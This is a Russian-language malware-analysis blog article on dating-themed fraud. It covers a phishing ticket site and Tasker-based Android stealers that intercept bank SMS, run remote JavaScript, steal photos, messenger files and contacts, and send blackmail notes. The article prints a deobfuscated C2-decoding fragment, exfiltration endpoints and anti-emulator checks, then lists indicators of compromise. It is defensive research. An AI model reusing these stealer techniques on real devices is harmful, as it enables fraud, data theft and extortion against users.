Свидание с фишингом и стилерами: киберпреступность в эпоху одиночества”



#Содержание

#Введение

Скамеры и хакерские группировки не перестают использовать человеческие недостатки против пользователей Интернета. Стоит заметить, что с каждым годом число пострадавших от их действий лишь продолжает стремительно увеличиваться, а угрозы всё чаще встречаются в сервисах, направленных на победу над одиночеством, и, к слову, достигают пика в дни праздников, когда больше всего нужен кто-то рядом.

Не секрет, что с каждым годом проблема одиночества становится всё острее и критичнее, причём настолько, что можно говорить о настоящей эпидемии и это, к сожалению, даже не станет преувеличением. Современное решение – интернет-знакомства, но где технологии – там и новые способы атаковать. Жаль, но злоумышленники обязательно воспользуются любой технической возможностью и сугубо человеческой уязвимостью для достижения своей цели.

Мне стало интересно рассмотреть с технической точки зрения устройство элементов, использованных для атак на пользователей, которые встречались в последнее время в сфере Интернет-знакомств, в дейтинговых ботах и приложениях, а также напомнить про то, с помощью каких технологий атакующим удаётся вызывать доверие и даже симпатию, и о принципах минимизации рисков для себя, как пользователя.

ВНИМАНИЕ!

Статья создана в ознакомительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком. Автор не несёт ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции.

Рас­простра­нение вредоносного ПО и наруше­ние работы сис­тем прес­леду­ются по закону.

В статье намеренно скрыта чувствительная информация.

#Исходные данные

Этот раздел об условиях, в которых проводилось изучение вопроса. Здесь – о том, как мы пришли к жизни такой, и о том, у кого и где выше шанс стать жертвой.

##Проблема одиночества

В современном мире среднестатистический человек ежедневно представлен огромному множеству разнообразных факторов, которые оказывают прямое влияние на качество социальных взаимодействий и, соответственно, на удовлетворение одной из самых базовых человеческих потребностей. Увеличивающийся объем времени, который порой просто необходимо проводить за телефоном или ноутбуком, отсутствие острой необходимости в посещении общественных мест в следствие развития всевозможных сервисов для заказа услуг, культура проактивной заботы о себе, которая может легко перейти грань и превратиться в прославление эгоцентризма и отказ от общества в пользу себя, ... – всё это – отражение повседневной реальности, которая непременно оставляет некоторый след на каждом представителе поколения, как на члене социума.

Одиночество – одна из главных тем социальных исследований и, как одна из острых проблем целого мира, в том числе она задела и Россию. Вот, к примеру, настораживающие выдержки из научной работы НИУ ВШЭ о жителях России, испытывающих давление одиночества:
Оказалось, что в России свыше 43% испытывают в той или иной мере одиночество. <...> Но и молодость одиночеству не преграда. С ним сталкивается около трети 14–29-летних россиян.

Источник: НИУ ВШЭ

А вот статистика одиноких людей – тех граждан, что проживают самостоятельно, в рамках "домохозяйства", состоящего всего из одного человека, по данным Росстата:

Более 40% домохозяйств в России состоят из одного человека, а их доля выросла вдвое за 20 лет, показала перепись. <...> Среди причин роста числа одиночек — позднее вступление в брак. <...> Преобладание одиночек в составе домохозяйств зафиксировано впервые за всю историю переписей населения в Российской Федерации.

Источник: РБК

Некоторые видят в одиночестве что-то высокое и находят в нём зону комфорта. Тем не менее, нельзя отрицать, что тянущее ощущение одиночества – это отклик организма на неудовлетворение потребности, который по определению не может быть приятным, это гложущее чувство, призванное подтолкнуть человека ко вполне определенному действию – социальному взаимодействию. С приходом этого чувства, любое, даже осознанное, уединение перестаёт быть оздоровительным. И каждый, кто переживал одиночество, знает, что с ним тяжело справиться самостоятельно.

Число факторов, подливающих масло в огонь проблемы одиночества, становится всё больше, а потому – и число онлайн сервисов, предлагающих услуги, направленные на борьбу с одиночеством, начиная от приложений для интернет-знакомств и заканчивая сервисами подписки на контент, и число людей, кто прибегает к использованию таких сервисов в поиске избавления от неприятных чувств:

Dating App Downloads Explode After Years of Stagnation

Исследования аналитических центров говорят о том, что в России – более 2/3 молодых россиян регистрировались на сайтах или в мобильных приложениях для онлайн-знакомств, а 1/4 пользуется ими в настоящий момент.

##Моя мужская личность

Несмотря на то, что результаты исследований переживания одиночества демонстрируют примерно одинаковое гендерное распределение, среди пользователей дейтинговых сервисов преобладают мужчины. Сервис "Мамба" поделился, что более половины их аудитории составляют мужчины. А вот так выглядит статистика известного Tinder:

Tinder gender ratios, as of May 2023

Мужчины чаще, чем женщины, ставят лайк, вместо того, чтобы свайпать, и реже получают взаимные лайки:

Despite being far more selective, women still match more frequently than men on Tinder

В том числе поэтому мужчины чаще становятся жертвами злоумышленников в сфере интернет-знакомств: представляясь красивой девушкой, атакующим проще установить канал связи, поскольку снижается вероятность свайпа, проще расположить к себе и добиться доверия для того, чтобы атакуемый выполнил какие-либо дополнительные действия (воспользовался сайтом, установил приложение, исполнил файл с вредоносной нагрузкой, ...).

Чтобы взглянуть на ситуацию поближе, я создала Никиту, после чего – зарегистрировала его в нескольких социальных сетях, мессенджерах и приложениях для знакомств, добавила его в тематические группы и запустила чат-ботов.
ФИОШереметьев Никита Константинович
ПолМужской
Возраст24 года
День рождения13.01.2000
ГородМосква
Телефон+7 (* * *) * * * * (виртуальный)
Почта* * * * @ * * * (временная)
Никнейм@ * * * * *

#Ситуации

За неделю притворства несуществующим молодым человеком, я часто свайпала вправо и ставила лайки в каждом из сервисов, но принципиально не начинала диалог первой (и, кстати, зря, ведь позже оказалось, что Telegram ограничивает отправку сообщений для аккаунтов, к которым привязаны виртуальные номера: они не могут написать первыми, а значит я упустила некоторое число потенциальных злоумышленников и вредоносных ссылок / файлов).

Несмотря на неинициативность, Никите написало несколько женских аккаунтов, большинство из которых оказалось без благих намерений. То, что они распространяли, стало материалом для моего исследования.

Описанные ниже ситуации наглядно демонстрируют то, как обстоит ситуация с вредоносным ПО в сфере интернет-знакомств в современных реалиях, и содержат информацию о:
  • Техниках социальной инженерии
  • Технических особенностях каждого экземпляра
  • Последствиях для атакуемого
  • Данных для выявления вредоносных экземпляров

##Ситуация №1

Поход в театр с кражей платёжной информации;

##~Интерфейс сайта

Первая девушка предложила встретиться и сходить в театр, да ещё и показала сайт, где можно приобрести билеты. Это один из самых известных сценариев обмана пользователей, которые ищут знакомств, но, несмотря на известность, его популярность продолжает расти, а покрытие – расширяться за пределы страны.

Доменное имя короткое и звучное, разве что домен верхнего уровня = ".online". Страницы сайта выглядят неплохо: подключены виджеты для общения с поддержкой и оформления заявки на заказ обратного звонка, есть информационные разделы и даже новости, в частности – предостережение о сайтах-двойниках:
На сайте представлен список спектаклей с возможностью оформить заказ билетов на ближайшие даты, предварительно просмотрев схему частично заполненного зала для выбора интересующих мест:
Первый звоночек: страница заказа. Исполняемый скрипт содержит опечатку в названии (ordening.php), беспрекословно принимает цену из параметра запроса amount и содержит обработку промокодов (доступны промокоды CLUB15FREE и NEWYEAR15):

##~Интерфейс оплаты

Оплата подразумевает перенаправление пользователя на другой, не менее звучный домен, который содержит подстроку "3-DS", вызывая ассоциацию с технологией обеспечения безопасности онлайн-платежей 3-D Secure. В этот раз домен верхнего уровня = ".ru".

Интерфейс предлагает пользователю на выбор несколько способов оплаты:
От выбора способа оплаты зависит перенаправление на следующий интерфейс.

Второй важный звоночек: в случае СБП пользователю банально предлагается произвести оплату самостоятельно, по реквизитам: номеру телефона или номеру карты, который изменяется приблизительно раз в сутки:
В случае выбора банка перед пользователем отрисовывается форма для ввода карты. По клику на кнопку оплаты, скрипт проверяет заполнение формы и префикс номера карты, и, в случае соответствия требуемым условиям, показывает анимацию установки соединения с банком:
Третий важный звоночек: если взглянуть на вывод инструментов разработчика, можно заметить, что вводимая пользователем платежная информация последовательно, по мере её ввода, отправляется на сервер в качестве параметра запроса bin. Это могла бы быть обычная проверка банковского идентификационного номера, но в данном случае скрипт не ограничивается обработкой БИН. Техника обеспечивает злоумышленникам дополнительный способ извлечения вводимой информации, ведь даже если пользователь что-то заподозрит и передумает кликать на кнопку оплаты, запись его нажатий на клавиши в рамках формы будет отправлена на сервер и её можно будет найти среди логов:

##~Генерация билетов

Четвёртый важный звоночек: перебор конечных точек приводит к обнаружению перечня путей, которые нельзя найти в ссылках среди фронтенда. Главный среди них – путь /generate, который открывает перед пользователем интерфейс генерации билетов. Злоумышленники позаботились о сообщниках, разработав форму для генерации электронных чеков в один клик, для удобства дополнив её инструкцией по использованию и извлечению выгоды:
В конечном итоге ресурс был заблокирован на территории Российской Федерации и ныне доступен лишь при условии использования VPN.

##Ситуация №2

Знакомства с кражей SMS из банка;

##~Предыстория

Со второй девушкой мы познакомились в приложении для знакомств. Она первой поставила лайк и первой написала в личные сообщения. Предложила перейти в Telegram, скинув свой ник, ссылаясь на тот факт, что мессенджер ей гораздо понятнее и удобнее.

Помимо прочего, она вела личный Telegram-канал. Там она пообещала поделиться с подписчиками фотографиями (при условии приглашения друзей на канал) и выложила APK-файлы: приложения сборника стихов и чата, где, как она уверяет, проводит много времени.
Файлы "Вот мои стихи.apk" и "Знакомства 18+.apk" имеют совпадающий размер. При близком рассмотрении оказалось, что в приложениях содержится одна и та же функциональность, с небольшой разницей в отрисовке, потому далее я рассмотрю лишь один файл.

##~Первый взгляд

Приложение Знакомства 18+ указывает следующие аппаратные способности, как необходимые:
  • android.hardware.faketouch
  • android.hardware.telephony
А также работает с компонентом accessibility. На иконке приложения изображено сердце:
Запрашиваемые права в соответствии с AndroidManifest.xml:
android.permission.CALL_PHONE
android.permission.DISABLE_KEYGUARD
android.permission.DRAW_OVERLAYS
android.permission.EXPAND_STATUS_BAR
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.QUERY_ALL_PACKAGES
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECEIVE_SMS
android.permission.SCHEDULE_EXACT_ALARM
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.WRITE_CONTACTS
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.WRITE_SMS
disabled_android.permission.READ_CALENDAR
disabled_android.permission.WRITE_CALENDAR
Активности:
net.dinglisch.android.taskerm.Kid, net.dinglisch.android.taskerm.ProxyTransparent, net.dinglisch.android.taskerm.DummyActivity, net.dinglisch.android.taskerm.SceneActivity, net.dinglisch.android.taskerm.SceneActivityResize, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ActivityGenericActionForResult
Сервисы:
net.dinglisch.android.taskerm.ExecuteService, net.dinglisch.android.taskerm.MonitorService, net.dinglisch.android.taskerm.MyAccessibilityService, com.joaomgcd.taskerm.plugin.ServiceRequestQuery, com.joaomgcd.taskerm.plugin.ServicePluginFinished, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ServiceGenericActionJobs
Ресиверы:
 – net.dinglisch.android.taskerm ReceiverStaticAlwaysOn (net.dinglisch.android.taskerm.WILLYUM, net.dinglisch.android.taskerm.AWAKEY, android.intent.action.BOOT_COMPLETED, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REPLACES, android.intent.action.PACKAGE_REMOVED, android.intent.action.MY_PACKAGE_REPLACED);
 – net.dinglisch.android.taskerm ReceiverStaticInternal (android.intent.action.DATE_CHANGED, android.intent.action.TIME_SET, android.intent.action.TIMEZONE_CHANGED, net.dinglisch.android.tasker.SMSEY);
Кроме того, значение версии android:versionName в AndroidManifest.xml содержит любопытную структуру с указанием названия команды, имени и ника пользователя и идентификатора чата в Telegram:

##~Tasker

Код, полученный после декомпиляции APK, был сильно обфусцирован, но в нём прослеживались следующие возможности:
  • Открытие файлов:
  • Исполнение команд:
  • ...и многие другие функции, включая запись экрана, поднятие туннелей WireGuard, исполнение команд через Termux, взаимодействие с Google Drive и прочее;
Все эти функции оказались возможностями, предоставляемыми Tasker – проблемно-ориентированным языком сценариев для создания Android приложений, которые выполняли бы определённые действия на основе контекста, условий. Он используется для автоматизации задач без ручного программирования. Вот список, содержащий прочие классы, отмеченные как @TaskerOutputObject в анализируемом приложении:
Дополнительно была обнаружена версия Tasker, которая использовалась создателями приложения – Tasker(6.1.32), marketNoTrialRelease:
В результате изучения особенностей работы Tasker (для выявления специфичных для создаваемых таким образом приложений методов анализа, способов деобфускации или иных возможностей восстановления исходного кода) выяснилось, что в ходе экспорта готового APK, Tasker упаковывает внутрь приложения XML файл по пути assets/kid/data.xml, который содержит все профили, сцены и задачи, которые необходимы проекту.

К тому же, что самое главное, такие файлы можно использовать для импорта проекта в Tasker:
Info on how Android Tasker App XML files work
Действительно, попытка импорта проекта из файла assets/kid/data.xml, который был извлечён из вредоносного приложения, привела к успеху, и стал возможным просмотр списка профилей, задач, сцен и переменных в удобном формате графического интерфейса:
Одна из сцен и вовсе представляет из себя просто вопиющее пользовательское соглашение:

##~Telegram бот

Задачи, как, например, реакция на звонок или SMS, подразумевают отправку сообщений, уведомление ответственного лица о событии через Telegram бот. Это прослеживается как в самих задачах, так и в переменных: среди них можно найти переменные для хранения значения токена от Telegram бота и идентификаторов чатов.
Занимательно, что благодаря этому токену становится возможным управление ботом злоумышленников: например, выгрузка диалогов и раскрытие аккаунтов в Telegram, которые запускали этого бота. Telegram Bot Dumper – один из инструментов, который может упростить задачу в случае нахождения такого токена.
На момент публикации статьи токен бота был сброшен его владельцем и более не доступен для взаимодействия.
Параметры "Команда", "Ник" и "Чат_ID", которые, как было упомянуто, располагаются в AndroidManifest.xml внутри android:versionName, используются как раз в рамках этого логического модуля вредоносного экземпляра. Они нужны приложению для записи значений в сообщения, посылаемые ботом в административный чат, видимо, для удобной атрибуции событий и сопоставления результатов с командами и отдельными подчинёнными в пределах каждой команды.
Разделение чатов на обычные и административные вкупе с необходимостью в указании названия команды наталкивает на мысль: пользователь, обладающий административным правом, получает информацию сразу из нескольких команд.

##~Проверка лицензии

В модуле "Старт", ответственном за развёртывание среды, то есть исполнение действий с запуском вредоносного приложения, таких как определение параметров и настройка соединения с C2 сервером, реализована проверка некой лицензии и хеша:
  • Дата окончания срока действия лицензии licensedate сравнивается с текущей датой;
  • Хеш дропа cardhash1, полученный с сервера, сравнивается со значением cardhash2, которое вычисляется путём перемножения подстрок значения карты дропа CARD;
В случае, если лицензия истекла, либо значения хешей не совпали, исполнение программы останавливается и администратору поступает уведомление об использовании истёкшей, либо взломанной версии вредоносного приложения с указанием идентификатора пользователя, оператора и информации о заражённом устройстве.

Исходя из наличия такого логического блока, можно сделать вывод о продаже этого вредоносного ПО третьим лицам, причём лишь на некоторый срок, видимо, в соответствии с оплачиваемым тарифом.

##~Общение с C&C сервером

Как было упомянуто, в этом же модуле происходит настройка соединения для взаимодействия с C2 сервером. Имя хоста и порт для подключения к управляющему серверу извлекаются путём прохождения через шаги обфусцированного алгоритма, который производит действия над переменными key, symbols и serverinput, значения которых заданы изначально.
Код легко деобфусцировать: онлайн-сервис для деобфускации deobfuscate.io определил, что код был обфусцирован с помощью obfuscator.io и предложил использовать специальный сервис obf-io.deobfuscate.io.
После деобфускации и преобразования других частей алгоритма из шагов проекта в код на JavaScript, алгоритм стал выглядеть следующим образом:
var key = '******';
key = key.split('').reverse().join('');
key = atob(key);

var serverinput = '************';
var input = serverinput.split('').reverse().join('');
input = atob(input);

const decipher = AAAA => {
 const BBBB = CCCC => CCCC.split('').map(DDDD => DDDD.charCodeAt(0x0));
 const EEEE = FFFF => BBBB(AAAA).reduce((GGGG, HHHH) => GGGG ^ HHHH, FFF);
 return IIII => IIII.match(/.{1,2}/g).map(JJJJ => parseInt(JJJJ, 0x10)).map(EEEE).map(KKKK => String.fromCharCode(KKKK)).join('');
}

const myDecipher = decipher(key);
var output = myDecipher(input);
Результат выполнения алгоритма, значение переменной output – ссылка на статью в telegra[.]ph. Она записывается в переменную dataserver, после чего к ней выполняется запрос для извлечения из статьи имени хоста и порта C2 сервера и их записи в переменные. Примечательно, что статья в Telegraph может быть отредактирована автором в любой момент. В случае данного приложения конечный управляющий сервер размещался на сервисе создания временных туннелей между локальным компьютером и Интернетом ngrok-free[.]app.
Взаимодействие с сервером организовано через запросы к конечным точкам:
  • %URL/get_json – получает JSON со значениями параметров, например, идентификаторов Telegram чатов, которые записываются в соответствующие переменные;
  • %URL/send_text – отправляет собранные данные в формате JSON;
  • %URL/send_file – отправляет украденные файлы;

##~Обнаружение отладки

При каждом открытии пользователем приложения активируется модуль "Открытие приложения", который, среди прочего, обнаруживает использование прокси для перехвата и последующего анализа трафика и проверяет, исполняется ли программа в эмулированной среде.
Проверка использования прокси заключается в проверке наличия пакета com.guoshi.httpcanary среди приложений, установленных на устройстве, и HTTP Toolkit Certificate.crt в папке Download.
Проверка исполнения в виртуальной среде заключается в проверке имени заражённого устройства на соответствие перечню названий, намекающих на использование эмулятора, таких как, например: VirtualBox, Virtual Machine, Google mainline и другие.
В случае положительного результата процедур выявления признаков использования прокси или эмулятора:
  1. Изменяются значения параметров, используемых для отправки сообщений оператору вредоносного ПО: токен для Telegram бота TOKEN, идентификатор чата chatid, ссылку на статью в Telegraph dataserver
  2. Оператор уведомляется об обнаружении виртуальной среды
  3. Выполнение модуля принудительно завершается

##~Реакция на SMS и звонки

>Реакция на звонки
Вредоносное приложение реагирует на поступающие звонки, причём его поведение зависит от вызывающего абонента и определено в связанных профилях "Получен звонок (другое)" и "Получен звонок (Сбер)":
  • Если номер вызывающего абонента отличается от 900: активируется модуль "Получен звонок (другое)", который логирует информацию о звонке в специальный чат в Telegram;
  • Если номер вызывающего абонента равен 900: активируется модуль "Получен звонок (Сбер)", который уведомляет оператора о неудаче в связи со звонком с номера 900 и переходит в "Спящий" режим, описанный далее;
Реакция на поступающие SMS сообщения точно так же разнится в зависимости от номера отправителя и определена в модулях "Получено СМС (другое)" и "Получено СМС (Сбер)".
>Реакция на SMS не от 900
Содержимое SMS сообщений, полученных с номеров, отличных от 900, сравнивается с целым перечнем шаблонов сообщений о платёжных операциях от различных банков и сервисов. Приложение действует исходя из наличия той или иной подстроки в SMS, в частности:
  • отвечает на сообщения, которые требуют подтверждения операции с помощью ответной SMS с заданным значением
  • логирует информацию: уведомляет оператора о каждом событии, отталкиваясь от информации в сообщениях
  • подсчитывает выгоду, которую потенциально может извлечь оператор из обрабатываемого события
>Реакция на SMS от 900
В случае со входящими SMS сообщениями с номера 900 ситуация схожа: содержимое каждого такого сообщения сопоставляется со списком шаблонов, проверяется на наличие подстрок, которые обозначали бы ту или иную операцию, и обрабатывается в соответствии с классифицированным событием. Вредоносный модуль "Получено СМС (Сбер)" производит те же действия, что и "Получено СМС (другое)": уведомляет оператора о событиях, логирует собранную информацию, подсчитывает потенциальную выгоду и при необходимости отправляет ответы на SMS – но всё это он делает с учётом специфики взаимодействия с конкретным банком. Этот модуль поддерживает обработку большего числа возможных вариантов взаимодействия пользователя с целевым банком и учитывает больший перечень ошибок, которые могут возникнуть в процессе, чем аналогичный ему, с отметкой "(другое)":

##~Режим RAT

Вредоносное приложение имеет несколько режимов работы, статус активации которых определяется при развёртывании приложения.
Здесь же, среди шагов модуля "Получено СМС (другое)" можно наблюдать проявление дополнительного вектора поведения – выполнение действий, доступных при работе в режиме RAT:
  • Если ratrequest1 равен "СМС": с заражённого устройства отправляется произвольное SMS, причём его содержимое (ratrequest4) и номер получателя (ratrequest3) настраиваются оператором вредоносного приложения;
  • Если ratrequest1 равен "Звонок": с заражённого устройства инициируется исходящий звонок по номеру телефона (ratrequest3), который задаёт оператор вредоносного ПО;
  • Если ratrequest1 равен "Код": на заражённом устройстве исполняется произвольный JavaScript код (ratrequest2), который задаёт оператор вредоносного ПО, причём код передаётся как строка, над которой производится eval(). Выполнение скрипта становится возможным благодаря JavaScriptlet, реализованным в Tasker, которые поддерживают исполнениие JavaScript кода в элементах задач и WebView;
Результаты выполнения команд, как информация об успехе, либо неудаче, логируются в чаты:

##~"Спящий" режим

В некоторых ситуациях, включая те, которые могут говорить о вероятном обнаружении пользователем вредоносных элементов приложения, выполнение переходит к модулю "Спящий режим". Ярким примером такой ситуации может послужить официальный звонок из целевого банка, обработку которого можно было наблюдать на скриншотах выше.
В зависимости от настроек приложения, которые были установлены при его развёртывании, "спящий" режим включает в себя сразу несколько любопытных поведенческих подмодулей:
>Сбор SMS сообщений
  • Если подключен чат для сбора сообщений (MESSAGESCHATID):
    1. Приложение делает запросы к content://sms/inbox и content://sms/sent, благодаря чему получает содержимое входящих и исходящих SMS сообщений, которые хранятся на заражённом устройстве, соответственно;
    2. Записывает полученное содержимое соответственно в локальные файлы "Входящие сообщения (ID %USERID).txt" и "Исходящие сообщения (ID %USERID).txt", где USERID – идентификатор пользователя;
    3. Отправляет сгенерированные файлы на C2 сервер;
    4. Уведомляет оператора вредоносного ПО об успешном получении логов SMS сообщений с заражённого устройства;
    5. Удаляет сгенерированные локальные файлы, заметая за собой следы;
>Сбор контактов + Режим шантажа
  • Если подключен чат для сбора контактов (CONTACTSCHATID):
    1. Приложение делает запрос к content://com.android.contacts/data/phones, благодаря чему получает отображаемые имена и номера телефонов из контактной книги заражённого устройства;
    2. Если при этом активирован режим шантажа (BLACKMAIL): создаёт локальный файл "ВАЖНАЯ ИНФОРМАЦИЯ.txt", в котором пользователю докладывают о взломе устройства, доказывая это предоставлением списка контактов, и требуют в течение одной недели перевести деньги на карту взамен на удаление краденных данных на стороне операторов вредоносного ПО;
    3. Уведомляет оператора вредоносного ПО об успешном получении списка контактов с заражённого устройства;
>Рассылка SMS спама
  • Если активирован режим рассылки спама по списку контактов (SPAMCONTACTS):
    1. Приложение делает запрос к content://com.android.contacts/data/phones, благодаря чему получает отображаемые имена и номера телефонов из контактной книги заражённого устройства;
    2. Каждому контакту с заражённого устройства отправляется SMS сообщение с содержимым, которое задаётся оператором вредоносного ПО;
  • Если активирован режим рассылки спама по списку случайных номеров (SPAMRANDOMS):
    1. Приложение циклично формирует случайное значение номера телефона;
    2. Каждому абоненту, чей номер был получен вследствие генерации номеров телефонов, с заражённого устройства отправляется SMS сообщение с содержимым, которое задаётся оператором вредоносного ПО;
>Сбор локальных файлов
  • Если активирован режим кражи локальных файлов (STEALINGFILES):
    1. Выполнение переходит к вредоносному модулю "Менеджер кражи файлов";
    2. В зависимости от статуса подключения специальных чатов, приложение крадёт файлы, располагающиеся на заражённом устройстве внутри конкретных каталогов. Оно собирает целевые файлы в массивы и направляет их в модуль "Алгоритм кражи файлов", в котором файлы проходят дополнительную обработку и отправляются на C2 сервер:
      • Если подключен чат для сбора фотографий, снятых на камеру устройства (CAMERACHATID), то собирает файлы по путям:
        DCIM/Camera
        DCIM/Selfie
        DCIM/Video
        DCIM/Panorama
      • Если подключен чат для сбора скриншотов (SCREENSHOTCHATID), то собирает файлы по путям:
        DCIM/Screenshots
      • Если подключен чат для сбора загруженных файлов (DOWNLOADCHATID), то собирает файлы по путям:
        Download
      • Если подключен чат для сбора других файлов (OTHERCHATID), то собирает файлы по путям:
        WhatsApp/Media/WhatsApp Images
        WhatsApp/Media/WhatsApp Images/Sent
        WhatsApp/Media/WhatsApp Images/Private
        WhatsApp/Media/WhatsApp Video
        WhatsApp/Media/WhatsApp Video/Sent
        WhatsApp/Media/WhatsApp Video/Private
        WhatsApp/Media/WhatsApp Audio
        WhatsApp/Media/WhatsApp Audio/Sent
        WhatsApp/Media/WhatsApp Audio/Private
        WhatsApp/Media/WhatsApp Documents
        WhatsApp/Media/WhatsApp Documents/Sent
        WhatsApp/Media/WhatsApp Documents/Private
        Telegram/Telegram Images
        Telegram/Telegram Video
        Telegram/Telegram Audio
        Telegram/Telegram Documents
        Telegram/Telegram Files
        Pictures/Telegram
        Pictures/Viber
        Pictures/Odnoklassniki
        Pictures/Instagram

##~Прочие заметки

>Упоминания в X (Twitter)
Тематика приложений, за фасадом которых скрывается вредоносная функциональность, совпадающая с вышеописанной, оказалась разнообразна, для охвата большей аудитории и заражения большего числа устройств.
Беглый поиск в Интернете упоминаний сигнатур, связанных с рассматриваемым приложением, привёл меня к обнаружению нескольких отчётов, автоматически сгенерированных онлайн-песочницами, об анализе похожих APK, варьирующихся от приложений, которые можно отнести к сфере Интернет-знакомств (приватные чаты, сервисы подписки на контент), до "взломанных" версий мессенджеров.
В том числе злоумышленники использовали и другие острые темы, привлекающие внимание общественности. Так аккаунт Malware Hunter Team публиковал в X пост о другом представителе этого семейства вредоносных приложений:
>Индикаторы компрометации
FilenameВот мои стихи.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameЗнакомства 18+.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameOnlyFans (9).apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
FilenameOnlyFans (12).apk
MD565841b046a4069d2a84e01c2e430effc
SHA1fb862581c245859000062ff250fcb27789678876
SHA256243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
VirusTotalvirustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
FilenameONLYFANS FREE.apk
MD570319c31153614a9fd2dfed94d39e399
SHA1dda23ef6aa87ea7997d849f3eda8aa5d35fc321b
SHA256efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
VirusTotalvirustotal.com/gui/file/efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
FilenameМой OnlyFans) (2).apk
MD5911f9cca3895e65097348c08d4c40881
SHA1bc53c75cb6256013b750c2de52d04bac0b33b760
SHA25636303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0
VirusTotalvirustotal.com/gui/file/36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0
FilenameOnlyFans.FreeMode (2).apk
MD5fa3ee4a5499e9d7bd3a419a5bcf76e70
SHA18c9a9bfe8c34baa523d7dd996dbb8f8a424de64a
SHA256c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
VirusTotalvirustotal.com/gui/file/c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
FilenameChatV Privat (2).apk
MD549766c0bced0e0d664ad4ebd8bcf1646
SHA11dc460045ac33a2418178054b8a80c23f6649f81
SHA256b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63
VirusTotalvirustotal.com/gui/file/b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63

##Ситуация №3

Стриминговый сервис с удалённым контролем над устройством;

##~Предыстория

Третья девушка написала в Telegram боте для анонимных знакомств, предложив продолжить общение сразу в личных сообщениях. Оказалось, что у неё, как и у девушки из второй ситуации, есть собственный канал в Telegram, в котором она делится контентом и предлагает подписчикам обрести доступ к полным версиям контента, установив мобильное приложение стримингового сервиса:
Примечательно, что со временем канал был заменён на другой. В этот раз девушка дополнительно любезно предоставила своим подписчикам подробную инструкцию по установке нового приложения, в которую входит выдача этому приложению конфиденциального разрешения "Специальные возможности", несмотря на предупреждение устройства о связанных рисках и возможных последствиях:
Новое приложение, BongaCamSexs.apk, оказалось на 5.7 мегабайт крупнее предыдущего, streamtwit.apk. Экземпляры оказались похожи, за исключением пары моментов:
  • streamtwit.apk – более обфусцирован
  • BongaCamSexs.apk – включает в себя дополнительную функциональность
Ниже, в описании технических особенностей вредоносного ПО, рассматриваемого в данном разделе, я совмещу функциональность обеих версий, по возможности демонстрируя наименее обфусцированные образцы кода из имеющихся.

##~Первый взгляд

>Streamtwit
Приложение streamtwit указывает следующие аппаратные способности, как необходимые:
  • android.hardware.faketouch
  • android.hardware.telephony
  • android.hardware.wifi
А также работает с компонентами device-admin, ime, accessibility. На иконке приложения изображена девушка, которая фотографирует своё отражение в зеркале:
Запрашиваемые права в соответствии с AndroidManifest.xml:
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
>BongaCamSexs
// Светло-серым цветом выделены те включения, что совпадают со streamtwit;

Приложение BongaCamSexs указывает следующие аппаратные способности, как необходимые:
  • android.hardware.camera
  • android.hardware.faketouch
  • android.hardware.location
  • android.hardware.microphone
  • android.hardware.telephony
  • android.hardware.wifi
